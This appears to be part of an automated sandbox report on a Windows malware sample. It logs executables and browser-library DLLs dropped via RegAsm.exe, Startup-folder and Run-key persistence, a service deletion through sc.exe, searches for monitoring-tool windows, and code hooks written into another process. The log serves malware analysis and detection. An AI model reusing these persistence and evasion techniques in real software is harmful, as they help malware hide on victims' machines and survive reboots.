Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66e19745cc64e_crypted[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66daf6d8ac980_PeakSports[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66e1a49ce28da_wtyhjkosefktyh[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File created: C:\Users\user\AppData\Local\Temp\LAzlmFmPejofyAjGuKql.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66e06cea88f93_BlueSapphire[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Vwagc2Gf16eP8XIbenmQEOda.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userIDHIEGIIIE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\burda[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Temp\is-VKCJI.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Temp\is-VKCJI.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vtrwh12[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vhtrw[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\JKECFCFBGD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66e179cc20793_lyla2[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	File created: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\is-3RMPS.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Temp\is-VKCJI.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userJJJJDAAECG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\is-1HF8J.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\is-OV7N4.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d70e8640404_trics[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	File created: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	File created: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	File created: C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66dc99a997229_VirtualLibrary[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\avoufshire[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lgrn[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\is-OQOI6.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66e197066b3e8_xin[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\is-KEELI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	File created: C:\Users\user\AppData\Local\Batch AVI Converter\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\AFIDGDBGCA.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\JKECFCFBGD.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	File created: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Batch AVI Converter\batchaviconverter32.exe	File created: C:\ProgramData\DKIM Authenticator lib 9.11.45\DKIM Authenticator lib 9.11.45.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	File created: C:\ProgramData\ejitkpfdxvzt\orpqcnvisucm.exe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6

Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe

Process created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "RRTELIGS"

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Memory written: PID: 5980 base: 7FFE22370008 value: E9 EB D9 E9 FF
Source: C:\Users\user\Documents\iofolko5\WT1f5JwoYdslX1xK50iSTvoU.exe	Memory written: PID: 5980 base: 7FFE2220D9F0 value: E9 20 26 16 00

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WWMeRq3HihRV9YRKtaMBDHoA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\D4wpDprTNebjzitxM8NmQjMu.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
